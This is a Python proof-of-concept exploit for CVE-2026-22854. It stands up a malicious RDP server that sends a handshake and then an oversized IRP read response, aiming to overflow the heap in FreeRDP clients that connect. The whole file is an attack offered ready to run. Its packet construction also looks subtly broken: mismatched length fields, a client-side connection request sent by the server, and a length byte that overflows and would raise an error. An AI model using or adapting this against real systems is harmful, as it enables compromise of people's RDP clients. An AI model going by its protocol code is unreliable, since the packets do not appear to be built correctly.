#!/usr/bin/env python3
# CVE-2026-22854 PoC - Malicious RDP Server Triggering Heap Buffer Overflow in FreeRDP
# This PoC demonstrates the vulnerability in FreeRDP drive read functionality
import socket
import struct
import threading
class MaliciousRDPServer:
def __init__(self, host='0.0.0.0', port=3389):
self.host = host
self.port = port
def send_x224_connect(self, client_socket):
"""Send X.224 Connection Request"""
# X.224 Connection Request packet
x224_packet = bytes([
0x03, 0x00, 0x00, 0x0b, # TPKT header
0x06, 0x00, 0x00, 0x00, 0x00, 0x00 # X.224 Connection Request
])
client_socket.send(x224_packet)
def send_mcs_connect(self, client_socket):
"""Send MCS Connect Initial"""
# MCS Connect Initial with GCC Conference Create Request
mcs_packet = bytes([
0x03, 0x00, 0x01, 0x00, # TPKT header
0x08, 0x00, 0x00, 0x00 # MCS Connect Initial
])
# Add padding and capabilities
mcs_packet += b'\x00' * 512
client_socket.send(mcs_packet)
def send_server_caps(self, client_socket):
"""Send Server Core Data with capabilities indicating drive support"""
# Server Core Data PDU with drive redirection capability
caps_packet = bytes([
0x03, 0x00, 0x01, 0x00, # TPKT header
0x01, 0x00, 0x8c, 0x00, # Share Control Header + Server Core Data
0x0a, 0x00, 0x08, 0x00, 0x00, 0x00 # Version info
])
# Add extra flags indicating drive support
caps_packet += struct.pack('<I', 0x00000001) # Drive redirection
client_socket.send(caps_packet)
def send_irp_read_response_overflow(self, client_socket):
"""Send malicious IRP read response with oversized length"""
# IRP Major Function = IRP_MJ_READ (0x03)
# FileObject pointer and completion parameters
irp_header = struct.pack('<BBBB', 0x03, 0x00, 0x00, 0x00) # Read operation
# Malicious: Send read length of 0xFFFF bytes when buffer is much smaller
# This causes heap buffer overflow in FreeRDP drive read
malicious_length = 0xFFFF # 65535 bytes - far exceeding typical buffer size
# IRP response with malicious length
irp_response = struct.pack('<I', malicious_length) # Malicious read length
irp_response += b'\x41' * malicious_length # Overflow data
# Send as fast-path packet
packet = bytes([0x03, 0x00]) + struct.pack('>H', len(irp_response) + 7)
packet += bytes([0x17]) # Fast-path PDU type
packet += bytes([0x80 | len(irp_response)]) # Compressed length
packet += irp_response
client_socket.send(packet)
def handle_client(self, client_socket, addr):
print(f"[*] Connection from {addr}")
try:
# Standard RDP handshake sequence
self.send_x224_connect(client_socket)
self.send_mcs_connect(client_socket)
self.send_server_caps(client_socket)
# After capabilities exchange, trigger the vulnerability
# by sending a malicious IRP read response
self.send_irp_read_response_overflow(client_socket)
print("[*] Malicious IRP response sent - FreeRDP heap overflow triggered")
except Exception as e:
print(f"[!] Error: {e}")
finally:
client_socket.close()
def start(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((self.host, self.port))
server.listen(5)
print(f"[*] Malicious RDP Server listening on {self.host}:{self.port}")
while True:
client, addr = server.accept()
handler = threading.Thread(target=self.handle_client, args=(client, addr))
handler.start()
if __name__ == "__main__":
server = MaliciousRDPServer()
server.start()